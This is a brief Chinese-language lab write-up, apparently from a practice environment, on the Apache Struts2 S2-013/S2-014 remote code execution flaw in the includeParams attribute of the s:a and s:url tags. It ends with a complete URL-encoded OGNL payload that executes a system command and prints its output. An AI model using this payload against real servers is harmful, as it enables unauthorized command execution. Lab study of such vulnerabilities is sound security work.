S2-013/S2-014 Remote Code Execution Vulnerablity

进入页面后发现有两个可点的链接,一个是去struts2的官网这个不考虑。

还有一个是

"s:a" tag

点开链接后会去到link.action

到这里不知道如何利用,去看p神的文档。

具体漏洞原理是在struts2的标签中:

<s:a>和<s:url>都包含一个includeParams属性。而这个属性值可以设置为none,get或all
1.none-链接

payload-url编码:

a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D